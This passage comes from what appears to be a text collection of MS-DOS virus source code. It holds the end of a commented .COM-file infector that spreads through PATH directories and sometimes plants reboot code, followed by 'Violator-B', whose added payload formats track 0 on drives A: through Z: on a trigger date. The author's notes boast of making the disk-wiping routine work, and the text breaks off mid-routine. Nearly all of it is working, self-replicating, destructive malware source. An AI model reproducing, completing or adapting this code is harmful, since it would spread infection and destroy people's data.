  2142.         MOV     CX,3
  2143.         REPZ    MOVSB                   ;Restore original first 3 bytes of .COM
  2144.         MOV     SI,DX                   ;Keep SI pointing to the data area
  2145.  
  2146. ;*************************************************************
  2147. ;                   Check the DOS version
  2148. ;*************************************************************
  2149.  
  2150.         MOV     AH,30H
  2151.         INT     21H
  2152.  
  2153.         CMP     AL,0                    ;0 means it's version 1.X
  2154.  
  2155.         JNZ     dos_ok                  ;For version 2.0 or greater
  2156.         JMP     quit                    ;Don't try to infect version 1.X
  2157.  
  2158.  
  2159. ;*************************************************************
  2160. ;  Here if the DOS version is high enough for this to work
  2161. ;*************************************************************
  2162.  
  2163. dos_ok: PUSH    ES
  2164.  
  2165.  
  2166. ;*************************************************************
  2167. ;               Get DTA address into ES:BX
  2168. ;*************************************************************
  2169.  
  2170.         MOV     AH,2FH
  2171.         INT     21H
  2172.  
  2173. ;*************************************************************
  2174. ;                    Save the DTA address
  2175. ;*************************************************************
  2176.  
  2177.  
  2178.         MOV     [SI+old_dta],BX
  2179.         MOV     [SI+old_dts],ES         ;Save the DTA address
  2180.  
  2181.         POP     ES
  2182.  
  2183. ;*************************************************************
  2184. ;        Set DTA to point inside the virus data area
  2185. ;*************************************************************
  2186.  
  2187.         MOV     DX,dta                  ;Offset of new DTA in virus data area
  2188. ;       NOP                             ;MASM will add this NOP here
  2189.         ADD     DX,SI                   ;Compute DTA address
  2190.         MOV     AH,1AH
  2191.         INT     21H                     ;Set new DTA to inside our own code
  2192.  
  2193.  
  2194.         PUSH    ES
  2195.         PUSH    SI
  2196.         MOV     ES,DS:2CH
  2197.         MOV     DI,0                    ;ES:DI points to environment
  2198.  
  2199. ;************************************************************
  2200. ;        Find the "PATH=" string in the environment
  2201. ;************************************************************
  2202.  
  2203. find_path:
  2204.         POP     SI
  2205.         PUSH    SI                      ;Get SI back
  2206.         ADD     SI,env_str              ;Point to "PATH=" string in data area
  2207.         LODSB
  2208.         MOV     CX,OFFSET 8000H         ;Environment can be 32768 bytes long
  2209.         REPNZ   SCASB                   ;Search for first character
  2210.         MOV     CX,4
  2211.  
  2212. ;************************************************************
  2213. ;       Loop to check for the next four characters
  2214. ;************************************************************
  2215.  
  2216. check_next_4:
  2217.         LODSB
  2218.         SCASB
  2219.         JNZ     find_path               ;If not all there, abort & start over
  2220.         LOOP    check_next_4            ;Loop to check the next character
  2221.  
  2222.         POP     SI
  2223.         POP     ES
  2224.         MOV     [SI+path_ad],DI         ;Save the address of the PATH
  2225.         MOV     DI,SI
  2226.         ADD     DI,wrk_spc              ;File name workspace
  2227.         MOV     BX,SI                   ;Save a copy of SI
  2228.         ADD     SI,wrk_spc              ;Point SI to workspace
  2229.         MOV     DI,SI                   ;Point DI to workspace
  2230.         JMP     SHORT   slash_ok
  2231.  
  2232.  
  2233. ;**********************************************************
  2234. ;     Look in the PATH for more subdirectories, if any
  2235. ;**********************************************************
  2236.  
  2237. set_subdir:
  2238.         CMP     WORD PTR [SI+path_ad],0 ;Is PATH string ended?
  2239.         JNZ     found_subdir            ;If not, there are more subdirectories
  2240.         JMP     all_done                ;Else, we're all done
  2241.  
  2242.  
  2243. ;**********************************************************
  2244. ;    Here if there are more subdirectories in the path
  2245. ;**********************************************************
  2246.  
  2247. found_subdir:
  2248.         PUSH    DS
  2249.         PUSH    SI
  2250.         MOV     DS,ES:2CH               ;DS points to environment segment
  2251.         MOV     DI,SI
  2252.         MOV     SI,ES:[DI+path_ad]      ;SI = PATH address
  2253.         ADD     DI,wrk_spc              ;DI points to file name workspace
  2254.  
  2255.  
  2256. ;***********************************************************
  2257. ;      Move subdirectory name into file name workspace
  2258. ;***********************************************************
  2259.  
  2260. move_subdir:
  2261.         LODSB                           ;Get character
  2262.         CMP     AL,';'                  ;Is it a ';' delimiter?
  2263.         JZ      moved_one               ;Yes, found another subdirectory
  2264.         CMP     AL,0                    ;End of PATH string?
  2265.         JZ      moved_last_one          ;Yes
  2266.         STOSB                           ;Save PATH marker into [DI]
  2267.         JMP     SHORT   move_subdir
  2268.  
  2269. ;******************************************************************
  2270. ; Mark the fact that we're looking through the final subdirectory
  2271. ;******************************************************************
  2272.  
  2273. moved_last_one:
  2274.         MOV     SI,0
  2275.  
  2276.  
  2277. ;******************************************************************
  2278. ;              Here after we've moved a subdirectory
  2279. ;******************************************************************
  2280.  
  2281. moved_one:
  2282.         POP     BX                      ;Pointer to virus data area
  2283.         POP     DS                      ;Restore DS
  2284.         MOV     [BX+path_ad],SI         ;Address of next subdirectory
  2285.         NOP
  2286.  
  2287. ;******************************************************************
  2288. ;             Make sure subdirectory ends in a "\"
  2289. ;******************************************************************
  2290.  
  2291.         CMP     CH,'\'                  ;Ends with "\"?
  2292.         JZ      slash_ok                ;If yes
  2293.         MOV     AL,'\'                  ;Add one, if not
  2294.         STOSB
  2295.  
  2296.  
  2297. ;******************************************************************
  2298. ;     Here after we know there's a backslash at end of subdir
  2299. ;******************************************************************
  2300.  
  2301. slash_ok:
  2302.         MOV     [BX+nam_ptr],DI         ;Set filename pointer to name workspace
  2303.         MOV     SI,BX                   ;Restore SI
  2304.         ADD     SI,f_spec               ;Point to "*.COM"
  2305.         MOV     CX,6
  2306.         REPZ    MOVSB                   ;Move "*.COM",0 to workspace
  2307.  
  2308.         MOV     SI,BX
  2309.  
  2310.  
  2311. ;*******************************************************************
  2312. ;                 Find first string matching *.COM
  2313. ;*******************************************************************
  2314.  
  2315.         MOV     AH,4EH
  2316.         MOV     DX,wrk_spc
  2317. ;       NOP                             ;MASM will add this NOP here
  2318.         ADD     DX,SI                   ;DX points to "*.COM" in workspace
  2319.         MOV     CX,3                    ;Attributes of Read Only or Hidden OK
  2320.         INT     21H
  2321.  
  2322.         JMP     SHORT   find_first
  2323.  
  2324.  
  2325. ;*******************************************************************
  2326. ;              Find next ASCIIZ string matching *.COM
  2327. ;*******************************************************************
  2328.  
  2329. find_next:
  2330.         MOV     AH,4FH
  2331.         INT     21H
  2332.  
  2333. find_first:
  2334.         JNB     found_file              ;Jump if we found it
  2335.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  2336.  
  2337. ;*******************************************************************
  2338. ;                      Here when we find a file
  2339. ;*******************************************************************
  2340.  
  2341. found_file:
  2342.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  2343.         AND     AL,1FH                  ;Mask to remove all but seconds
  2344.         CMP     AL,1FH                  ;62 seconds -> already infected
  2345.         JZ      find_next               ;If so, go find another file
  2346.  
  2347.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  2348.         JA      find_next               ;If too long, find another one
  2349.  
  2350.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  2351.         JB      find_next               ;Then go find another one
  2352.  
  2353.         MOV     DI,[SI+nam_ptr]         ;DI points to file name
  2354.         PUSH    SI                      ;Save SI
  2355.         ADD     SI,dta_nam              ;Point SI to file name
  2356.  
  2357. ;********************************************************************
  2358. ;                Move the name to the end of the path
  2359. ;********************************************************************
  2360.  
  2361. more_chars:
  2362.         LODSB
  2363.         STOSB
  2364.         CMP     AL,0
  2365.         JNZ     more_chars              ;Move characters until we find a 00
  2366.  
  2367.  
  2368. ;********************************************************************
  2369. ;                        Get File Attributes
  2370. ;********************************************************************
  2371.  
  2372.         POP     SI
  2373.         MOV     AX,OFFSET 4300H
  2374.         MOV     DX,wrk_spc              ;Point to \path\name in workspace
  2375. ;       NOP                             ;MASM will add this NOP here
  2376.         ADD     DX,SI
  2377.         INT     21H
  2378.  
  2379.  
  2380.         MOV     [SI+old_att],CX         ;Save the old attributes
  2381.  
  2382.  
  2383. ;********************************************************************
  2384. ;         Rewrite the attributes to allow writing to the file
  2385. ;********************************************************************
  2386.  
  2387.         MOV     AX,OFFSET 4301H         ;Set attributes
  2388.         AND     CX,OFFSET 0FFFEH        ;Set all except "read only" (weird)
  2389.         MOV     DX,wrk_spc              ;Offset of \path\name in workspace
  2390. ;       NOP                             ;MASM will add this NOP here
  2391.         ADD     DX,SI                   ;Point to \path\name
  2392.         INT     21H
  2393.  
  2394. ;********************************************************************
  2395. ;                Open Read/Write channel to the file
  2396. ;********************************************************************
  2397.  
  2398.         MOV     AX,OFFSET 3D02H         ;Read/Write
  2399.         MOV     DX,wrk_spc              ;Offset to \path\name in workspace
  2400. ;       NOP                             ;MASM will add this NOP here
  2401.         ADD     DX,SI                   ;Point to \path\name
  2402.         INT     21H
  2403.  
  2404.         JNB     opened_ok               ;If file was opened OK
  2405.         JMP     fix_attr                ;If it failed, restore the attributes
  2406.  
  2407.  
  2408. ;*******************************************************************
  2409. ;                        Get the file date & time
  2410. ;*******************************************************************
  2411.  
  2412. opened_ok:
  2413.         MOV     BX,AX
  2414.         MOV     AX,OFFSET 5700H
  2415.         INT     21H
  2416.  
  2417.         MOV     [SI+old_tim],CX         ;Save file time
  2418.         MOV     [SI+ol_date],DX         ;Save the date
  2419.  
  2420. ;*******************************************************************
  2421. ;                        Get current system time
  2422. ;*******************************************************************
  2423.  
  2424.         MOV     AH,2CH
  2425.         INT     21H
  2426.  
  2427.  
  2428.         AND     DH,7                    ;Last 3 bits 0? (once in eight)
  2429.         JNZ     seven_in_eight
  2430.  
  2431.  
  2432. ;*******************************************************************
  2433. ; The special "one in eight" infection. If the above line were in
  2434. ;  its original form, this code would be run 1/8 of the time, and
  2435. ;  rather than appending a copy of this virus to the .COM file, the
  2436. ;  file would get 5 bytes of code that reboot the system when the
  2437. ;  .COM file is run.
  2438. ;*******************************************************************
  2439.  
  2440.  
  2441.         MOV     AH,40H                  ;Write to file
  2442.         MOV     CX,5                    ;Five bytes
  2443.         MOV     DX,SI
  2444.         ADD     DX,reboot               ;Offset of reboot code in data area
  2445.         INT     21H
  2446.  
  2447.         JMP     SHORT   fix_time_stamp
  2448.  
  2449.         NOP
  2450.  
  2451.  
  2452. ;******************************************************************
  2453. ;      Here's where we infect a .COM file with this virus
  2454. ;******************************************************************
  2455.  
  2456. seven_in_eight:
  2457.         MOV     AH,3FH
  2458.         MOV     CX,3
  2459.         MOV     DX,first_3
  2460. ;       NOP                     ;MASM will add this NOP here
  2461.         ADD     DX,SI
  2462.         INT     21H             ;Save first 3 bytes into the data area
  2463.  
  2464.         JB      fix_time_stamp  ;Quit, if read failed
  2465.  
  2466.         CMP     AX,3            ;Were we able to read all 3 bytes?
  2467.         JNZ     fix_time_stamp  ;Quit, if not
  2468.  
  2469.  
  2470. ;******************************************************************
  2471. ;              Move file pointer to end of file
  2472. ;******************************************************************
  2473.  
  2474.         MOV     AX,OFFSET 4202H
  2475.         MOV     CX,0
  2476.         MOV     DX,0
  2477.         INT     21H
  2478.  
  2479.         JB      fix_time_stamp  ;Quit, if it didn't work
  2480.  
  2481.         MOV     CX,AX           ;DX:AX (long int) = file size
  2482.         SUB     AX,3            ;Subtract 3 (OK, since DX must be 0, here)
  2483.         MOV     [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
  2484.  
  2485.         ADD     CX,OFFSET c_len_y
  2486.         MOV     DI,SI           ;Point DI to virus data area
  2487.         SUB     DI,OFFSET c_len_x
  2488.                                 ;Point DI to reference vir_dat, at start of pgm
  2489.         MOV     [DI],CX         ;Modify vir_dat reference:2nd, 3rd bytes of pgm
  2490.  
  2491.  
  2492. ;*******************************************************************
  2493. ;                    Write virus code to file
  2494. ;*******************************************************************
  2495.  
  2496.         MOV     AH,40H
  2497.  
  2498.         MOV_CX  virlen                  ;Length of virus, in bytes
  2499.  
  2500.         MOV     DX,SI
  2501.         SUB     DX,OFFSET codelen       ;Length of virus code, gives starting
  2502.                                         ; address of virus code in memory
  2503.         INT     21H
  2504.  
  2505.         JB      fix_time_stamp          ;Jump if error
  2506.  
  2507.         CMP     AX,OFFSET virlen        ;All bytes written?
  2508.         JNZ     fix_time_stamp          ;Jump if error
  2509.  
  2510.  
  2511. ;**********************************************************************
  2512. ;                Move file pointer to beginning of the file
  2513. ;**********************************************************************
  2514.  
  2515.         MOV     AX,OFFSET 4200H
  2516.         MOV     CX,0
  2517.         MOV     DX,0
  2518.         INT     21H
  2519.  
  2520.         JB      fix_time_stamp          ;Jump if error
  2521.  
  2522.  
  2523. ;**********************************************************************
  2524. ;              Write the 3 byte JMP at the start of the file
  2525. ;**********************************************************************
  2526.  
  2527.         MOV     AH,40H
  2528.         MOV     CX,3
  2529.         MOV     DX,SI                   ;Virus data area
  2530.         ADD     DX,jmp_op               ;Point to the reconstructed JMP
  2531.         INT     21H
  2532.  
  2533.  
  2534. ;**********************************************************************
  2535. ;       Restore old file date & time, with seconds modified to 62
  2536. ;**********************************************************************
  2537.  
  2538. fix_time_stamp:
  2539.         MOV     DX,[SI+ol_date]         ;Old file date
  2540.         MOV     CX,[SI+old_tim]         ;Old file time
  2541.         AND     CX,OFFSET 0FFE0H
  2542.         OR      CX,1FH                  ;Seconds = 31/30 min = 62 seconds
  2543.         MOV     AX,OFFSET 5701H
  2544.         INT     21H
  2545.  
  2546.  
  2547. ;**********************************************************************
  2548. ;                              Close File
  2549. ;**********************************************************************
  2550.  
  2551.         MOV     AH,3EH
  2552.         INT     21H
  2553.  
  2554.  
  2555. ;**********************************************************************
  2556. ;                     Restore Old File Attributes
  2557. ;**********************************************************************
  2558.  
  2559. fix_attr:
  2560.         MOV     AX,OFFSET 4301H
  2561.         MOV     CX,[SI+old_att]         ;Old Attributes
  2562.         MOV     DX,wrk_spc
  2563. ;       NOP                             ;MASM will add this NOP
  2564.         ADD     DX,SI                   ;DX points to \path\name in workspace
  2565.         INT     21H
  2566.  
  2567.  
  2568. ;**********************************************************************
  2569. ;              Here when it's time to close it up & end
  2570. ;**********************************************************************
  2571.  
  2572. all_done:
  2573.         PUSH    DS
  2574.  
  2575.  
  2576. ;**********************************************************************
  2577. ;                         Restore old DTA
  2578. ;**********************************************************************
  2579.  
  2580.         MOV     AH,1AH
  2581.         MOV     DX,[SI+old_dta]
  2582.         MOV     DS,[SI+old_dts]
  2583.         INT     21H
  2584.  
  2585.         POP     DS
  2586.  
  2587.  
  2588. ;*************************************************************************
  2589. ; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
  2590. ;  in since the address in a real JMP 100 is an offset, and the offset
  2591. ;  varies from one infected file to the next. By PUSHing an 0100H onto the
  2592. ;  stack, we can RET to address 0100H just as though we JMPed there.
  2593. ;**********************************************************************
  2594.  
  2595. quit:
  2596.         POP     CX
  2597.         XOR     AX,AX
  2598.         XOR     BX,BX
  2599.         XOR     DX,DX
  2600.         XOR     SI,SI
  2601.         MOV     DI,OFFSET 0100H
  2602.         PUSH    DI
  2603.         XOR     DI,DI
  2604.  
  2605.         RET     0FFFFH
  2606.  
  2607. ;************************************************************************
  2608. ;The virus data starts here. It's accessed off the SI register, per the
  2609. ; comments as shown
  2610. ;************************************************************************
  2611.  
  2612. vir_dat EQU     $
  2613.  
  2614.  
  2615.         ;Use this with (SI + old_dta)
  2616. olddta_ DW      0                       ;Old DTA offset
  2617.  
  2618.         ;Use this with (SI + old_dts)
  2619. olddts_ DW      0                       ;Old DTA segment
  2620.  
  2621.         ;Use this with (SI + old_tim)
  2622. oldtim_ DW      0                       ;Old Time
  2623.  
  2624.         ;Use this with (SI + ol_date)
  2625. oldate_ DW      0                       ;Old date
  2626.  
  2627.         ;Use this with (SI + old_att)
  2628. oldatt_ DW      0                       ;Old file attributes
  2629.  
  2630.  
  2631.  
  2632. ;Here's where the first three bytes of the original .COM file go.(SI + first_3)
  2633.  
  2634. first3_ EQU     $
  2635.         INT     20H
  2636.         NOP
  2637.  
  2638.  
  2639.  
  2640. ;Here's where the new JMP instruction is worked out
  2641.  
  2642.         ;Use this with (SI + jmp_op)
  2643. jmpop_  DB      0E9H                    ;Start of JMP instruction
  2644.  
  2645.         ;Use this with (SI + jmp_dsp)
  2646. jmpdsp_ DW      0                       ;The displacement part
  2647.  
  2648.  
  2649.  
  2650. ;This is the type of file  we're looking to infect. (SI + f_spec)
  2651.  
  2652. fspec_  DB      '*.COM',0
  2653.  
  2654.         ;Use this with (SI + path_ad)
  2655. pathad_ DW      0                       ;Path address
  2656.  
  2657.         ;Use this with (SI + nam_ptr)
  2658. namptr_ DW      0                       ;Pointer to start of file name
  2659.  
  2660.         ;Use this with (SI + env_str)
  2661. envstr_ DB      'PATH='                 ;Find this in the environment
  2662.  
  2663.         ;File name workspace (SI + wrk_spc)
  2664. wrkspc_ DB      40h dup (0)
  2665.  
  2666.         ;Use this with (SI + dta)
  2667. dta_    DB      16h dup (0)             ;Temporary DTA goes here
  2668.  
  2669.         ;Use this with (SI + dta_tim)
  2670. dtatim_ DW      0,0                     ;Time stamp in DTA
  2671.  
  2672.         ;Use this with (SI + dta_len)
  2673. dtalen_ DW      0,0                     ;File length in the DTA
  2674.  
  2675.         ;Use this with (SI + dta_nam)
  2676. dtanam_ DB      0Dh dup (0)             ;File name in the DTA
  2677.  
  2678.         ;Use this with (SI + reboot)
  2679. reboot_ DB      0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
  2680.  
  2681.  
  2682. lst_byt EQU     $                       ;All lines that assemble into code are
  2683.                                         ;  above this one
  2684.  
  2685.  
  2686. ;*****************************************************************************
  2687. ;The virus needs to know a few details about its own size and the size of its
  2688. ; code portion. Let the assembler figure out these sizes automatically.
  2689. ;*****************************************************************************
  2690.  
  2691. virlen  =       lst_byt - v_start       ;Length, in bytes, of the entire virus
  2692. codelen =       vir_dat - v_start       ;Length of virus code, only
  2693. c_len_x =       vir_dat - v_start - 2   ;Displacement for self-modifying code
  2694. c_len_y =       vir_dat - v_start + 100H ;Code length + 100h, for PSP
  2695.  
  2696.  
  2697. ;*****************************************************************************
  2698. ;Because this code is being appended to the end of an executable file, the
  2699. ; exact address of its variables cannot be known. All are accessed as offsets
  2700. ; from SI, which is represented as vir_dat in the below declarations.
  2701. ;*****************************************************************************
  2702.  
  2703. old_dta =       olddta_ - vir_dat       ;Displacement to the old DTA offset
  2704. old_dts =       olddts_ - vir_dat       ;Displacement to the old DTA segment
  2705. old_tim =       oldtim_ - vir_dat       ;Displacement to old file time stamp
  2706. ol_date =       oldate_ - vir_dat       ;Displacement to old file date stamp
  2707. old_att =       oldatt_ - vir_dat       ;Displacement to old attributes
  2708. first_3 =       first3_ - vir_dat       ;Displacement-1st 3 bytes of old .COM
  2709. jmp_op  =       jmpop_  - vir_dat       ;Displacement to the JMP opcode
  2710. jmp_dsp =       jmpdsp_ - vir_dat       ;Displacement to the 2nd 2 bytes of JMP
  2711. f_spec  =       fspec_  - vir_dat       ;Displacement to the "*.COM" string
  2712. path_ad =       pathad_ - vir_dat       ;Displacement to the path address
  2713. nam_ptr =       namptr_ - vir_dat       ;Displacement to the filename pointer
  2714. env_str =       envstr_ - vir_dat       ;Displacement to the "PATH=" string
  2715. wrk_spc =       wrkspc_ - vir_dat       ;Displacement to the filename workspace
  2716. dta     =       dta_    - vir_dat       ;Displacement to the temporary DTA
  2717. dta_tim =       dtatim_ - vir_dat       ;Displacement to the time in the DTA
  2718. dta_len =       dtalen_ - vir_dat       ;Displacement to the length in the DTA
  2719. dta_nam =       dtanam_ - vir_dat       ;Displacement to the name in the DTA
  2720. reboot  =       reboot_ - vir_dat       ;Displacement to the 5 byte reboot code
  2721.  
  2722.         CODE    ENDS
  2723. END     VCODE
  2724.  
  2725. ------------------------------------------------------------------------------
  2726.  
  2727.                   Now here's the source for Violator-B
  2728.  
  2729. ------------------------------------------------------------------------------
  2730. ;*****************************************************************************
  2731. ;
  2732. ;                        Violator - Strain B
  2733. ;
  2734. ;*****************************************************************************
  2735. ;
  2736. ; (Aug/09/90)
  2737. ;
  2738. ; Development Notes:
  2739. ;
  2740. ;    I encountered several errors in the original Violator code which I
  2741. ;     corrected in this version. Mainly, the INT 26 routine to fuck the
  2742. ;    disk. It seems that the routine would crash right after the INT 26
  2743. ;     was executed and the whole program would die. I have since fixed
  2744. ;    this problem in this version with an INT 13, AH 05 (Format Track)
  2745. ;    command. This works better than the subsequent INT 26.
  2746. ;
  2747. ;
  2748. ;*****************************************************************************
  2749. ;
  2750. ;                Written by - The High Evolutionary -
  2751. ;                  RABID Head Programmer
  2752. ;
  2753. ;                                Revised by: ½Onslaught»
  2754. ;                               No affiliation with rabId
  2755. ;
  2756. ;          Copyright (C) 1990 by RABID Nat'nl Development Corp.
  2757. ;
  2758. ;*****************************************************************************
  2759.  
  2760. MOV_CX  MACRO   X
  2761.         DB      0B9H
  2762.         DW      X
  2763. ENDM
  2764.  
  2765. CODE    SEGMENT
  2766.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  2767.         ORG     $+0100H                ; Set ORG to 100H plus our own
  2768.  
  2769. VCODE:  JMP     virus
  2770.  
  2771.     NOP
  2772.     NOP
  2773.     NOP                     ;15 NOP's to place JMP Header
  2774.     NOP
  2775.     NOP
  2776.     NOP
  2777.     NOP
  2778.     NOP
  2779.     NOP
  2780.     NOP
  2781.     NOP
  2782.     NOP
  2783.     NOP
  2784.     NOP
  2785.     NOP
  2786.  
  2787. v_start equ     $
  2788.  
  2789.  
  2790. virus:  PUSH    CX
  2791.         MOV     DX,OFFSET vir_dat
  2792.         CLD
  2793.         MOV     SI,DX
  2794.         ADD     SI,first_3
  2795.     MOV    CX,3
  2796.         MOV     DI,OFFSET 100H
  2797.         REPZ    MOVSB
  2798.         MOV     SI,DX
  2799.     MOV     AH,30H
  2800.     INT    21H
  2801.     CMP    AL,0                ;Quit it it's DOS 1.0
  2802.     JNZ    dos_ok
  2803.         JMP     quit
  2804.  
  2805. dos_ok: PUSH    ES
  2806.         MOV     AH,2FH
  2807.         INT     21H
  2808.         MOV     [SI+old_dta],BX
  2809.         MOV     [SI+old_dts],ES
  2810.         POP     ES
  2811.         MOV     DX,dta                  
  2812.         ADD     DX,SI                    
  2813.         MOV     AH,1AH
  2814.         INT     21H                     
  2815.         PUSH    ES
  2816.         PUSH    SI
  2817.         MOV     ES,DS:2CH
  2818.         MOV     DI,0                    
  2819.     JMP    year_check
  2820.  
  2821. year_check:
  2822.     MOV    AH,2AH            ;Get date info
  2823.     INT    21H            ;Call DOS
  2824.     CMP    CX,1990            ;Check to see if the year is 1990
  2825.     JGE    month_check        ;If greater or equal, check month
  2826.     JMP    find_path        ;If not, go on with infection
  2827.  
  2828. month_check:
  2829.     MOV    AH,2AH            ;Get date info
  2830.     INT    21h            ;Call DOS
  2831.     CMP    DH,10            ;Check to see if it is September
  2832.     JGE    day_check        ;If greater or equal, check day
  2833.     JMP    find_path        ;if not, go on with infection
  2834.  
  2835. day_check:
  2836.     MOV    AH,2Ah            ;Get date info
  2837.     INT    21H            ;Call DOS
  2838.     CMP    DL,31            ;Check to see if it is the 4th
  2839.     JGE     multiplex        ;If yes, then nuke drives A:-Z:
  2840.     JMP    find_path        ;If not, then go on with infection
  2841.  
  2842. multiplex:
  2843.     MOV    AL,cntr            ;Counter is the drive to kill
  2844.     CALL    alter            ;Go and kill the drive
  2845.                                         ;25 is drive Z:
  2846.     CMP    cntr,25            ;Is (cntr) 25 ?
  2847.     JE    find_path        ;Go on with infection
  2848.     INC    cntr            ;Add one to (cntr)
  2849.     LOOP    multiplex        ;Loop back up to kill next drive
  2850.  
  2851. alter:
  2852.     MOV    AH,05            ;Format Track
  2853.     MOV    CH,0            ;Format track 0
  2854.     MOV    DH,0            ;Head 0
  2855.     MOV    DL,cntr            ;Format for drive in (cntr)
  2856.     INT    13h            ;Call RWTS
  2857.     RET                ;Return up for next drive
  2858.  
  2859. find_path:
  2860.         POP     SI
  2861.         PUSH    SI
  2862.         ADD     SI,env_str
  2863.         LODSB
  2864.         MOV     CX,OFFSET 8000H
  2865.         REPNZ   SCASB
  2866.         MOV     CX,4
  2867.  
  2868. check_next_4:
  2869.         LODSB
  2870.         SCASB
  2871. ;
  2872. ; The JNZ line specifies that if there is no PATH present, then we will go
  2873. ; along and infect the ROOT directory on the default drive.
  2874. ;
  2875.         JNZ     find_path               ;If not path, then go to ROOT dir
  2876.         LOOP    check_next_4            ;Go back and check for more chars
  2877.         POP     SI            ;Load in PATH again to look for chars
  2878.         POP     ES
  2879.         MOV     [SI+path_ad],DI
  2880.         MOV     DI,SI
  2881.         ADD     DI,wrk_spc              ;Put the filename in wrk_spc
  2882.         MOV     BX,SI
  2883.         ADD     SI,wrk_spc
  2884.         MOV     DI,SI
  2885.         JMP     SHORT   slash_ok
  2886.  
  2887. set_subdir:
  2888.         CMP     WORD PTR [SI+path_ad],0
  2889.         JNZ     found_subdir
  2890.         JMP     all_done
  2891.  
  2892.  
  2893. found_subdir:
  2894.         PUSH    DS
  2895.         PUSH    SI
  2896.         MOV     DS,ES:2CH
  2897.         MOV     DI,SI
  2898.         MOV     SI,ES:[DI+path_ad]
  2899.         ADD     DI,wrk_spc              ;DI is the file name to infect! (hehe)
  2900.  
  2901.  
  2902. move_subdir:
  2903.         LODSB                           ;To tedious work to move into subdir
  2904.         CMP     AL,';'                  ;Does it end with a ; charachter?
  2905.         JZ      moved_one               ;if yes, then we found a subdir
  2906.         CMP     AL,0                    ;is it the end of the path?
  2907.         JZ      moved_last_one          ;if yes, then we save the PATH
  2908.         STOSB                           ;marker into DI for future reference
  2909.         JMP     SHORT   move_subdir
  2910.  
  2911. moved_last_one:
  2912.         MOV     SI,0
  2913.  
  2914. moved_one:
  2915.         POP     BX                      ;BX is where the virus data is
  2916.         POP     DS                      ;Restore DS so that we can do stuph
  2917.         MOV     [BX+path_ad],SI         ;Where is the next subdir?
  2918.         NOP
  2919.         CMP     CH,'\'                  ;Check to see if it ends in \
  2920.         JZ      slash_ok                ;If yes, then it's OK
  2921.         MOV     AL,'\'                  ;if not, then add one...
  2922.         STOSB                ;store the sucker
  2923.  
  2924.  
  2925. slash_ok:
  2926.         MOV     [BX+nam_ptr],DI         ;Move the filename into workspace
  2927.         MOV     SI,BX                   ;Restore the original SI value
  2928.         ADD     SI,f_spec               ;Point to COM file victim
  2929.         MOV     CX,6
  2930.         REPZ    MOVSB                   ;Move victim into workspace
  2931.         MOV     SI,BX
  2932.         MOV     AH,4EH
  2933.         MOV     DX,wrk_spc
  2934.         ADD     DX,SI                   ;DX is ... THE VICTIM!!!
  2935.         MOV     CX,3                    ;Attributes of Read Only or Hidden OK
  2936.         INT     21H
  2937.         JMP     SHORT   find_first
  2938.  
  2939. find_next:
  2940.         MOV     AH,4FH
  2941.         INT     21H
  2942.  
  2943. find_first:
  2944.         JNB     found_file              ;Jump if we found it
  2945.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  2946.  
  2947. found_file:
  2948.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  2949.         AND     AL,1EH                  ;Mask to remove all but seconds
  2950.         CMP     AL,1EH                  ;60 seconds
  2951.         JZ      find_next
  2952.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  2953.         JA      find_next               ;If too long, find another one
  2954.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  2955.         JB      find_next               ;Then go find another one
  2956.         MOV     DI,[SI+nam_ptr]
  2957.         PUSH    SI
  2958.         ADD     SI,dta_nam
  2959.  
  2960. more_chars:
  2961.         LODSB
  2962.         STOSB
  2963.         CMP     AL,0
  2964.         JNZ     more_chars
  2965.         POP     SI
  2966.         MOV     AX,OFFSET 4300H
  2967.         MOV     DX,wrk_spc
  2968.         ADD     DX,SI
  2969.         INT     21H
  2970.         MOV     [SI+old_att],CX
  2971.         MOV     AX,OFFSET 4301H
  2972.         AND     CX,OFFSET 0FFFEH
  2973.         MOV     DX,wrk_spc
  2974.         ADD     DX,SI
  2975.         INT     21H
  2976.         MOV     AX,OFFSET 3D02H
  2977.         MOV     DX,wrk_spc
  2978.         ADD     DX,SI
  2979.         INT     21H
  2980.         JNB     opened_ok
  2981.         JMP     fix_attr
  2982.  
  2983. opened_ok:
  2984.         MOV     BX,AX
  2985.         MOV     AX,OFFSET 5700H
  2986.         INT     21H
  2987.         MOV     [SI+old_tim],CX         ;Save file time
  2988.         MOV     [SI+ol_date],DX         ;Save the date
  2989.         MOV     AH,2CH
  2990.         INT     21H
  2991.         AND     DH,7
  2992.         JMP     infect
  2993.  
  2994. infect:
  2995.         MOV     AH,3FH
  2996.         MOV     CX,3
  2997.         MOV     DX,first_3
  2998.         ADD     DX,SI
  2999.         INT     21H             ;Save first 3 bytes into the data area
  3000.         JB      fix_time_stamp
  3001.         CMP     AX,3
  3002.         JNZ     fix_time_stamp
  3003.         MOV     AX,OFFSET 4202H
  3004.         MOV     CX,0
  3005.         MOV     DX,0
  3006.         INT     21H
  3007.         JB      fix_time_stamp
  3008.         MOV     CX,AX
  3009.         SUB     AX,3
  3010.         MOV     [SI+jmp_dsp],AX
  3011.         ADD     CX,OFFSET c_len_y
  3012.         MOV     DI,SI
  3013.         SUB     DI,OFFSET c_len_x
  3014.  
  3015.         MOV     [DI],CX
  3016.         MOV     AH,40H
  3017.         MOV_CX  virlen
  3018.         MOV     DX,SI
  3019.         SUB     DX,OFFSET codelen
  3020.         INT     21H
  3021.         JB      fix_time_stamp
  3022.         CMP     AX,OFFSET virlen
  3023.         JNZ     fix_time_stamp
  3024.         MOV     AX,OFFSET 4200H
  3025.         MOV     CX,0
  3026.         MOV     DX,0
  3027.         INT     21H
  3028.         JB      fix_time_stamp
  3029.         MOV     AH,40H
  3030.         MOV     CX,3
  3031.         MOV     DX,SI
  3032.         ADD     DX,jmp_op
  3033.         INT     21H
  3034.  
  3035. fix_time_stamp:
  3036.         MOV     DX,[SI+ol_date]
  3037.         MOV     CX,[SI+old_tim]
  3038.         AND     CX,OFFSET 0FFE0H
  3039.         OR      CX,1EH
  3040.         MOV     AX,OFFSET 5701H
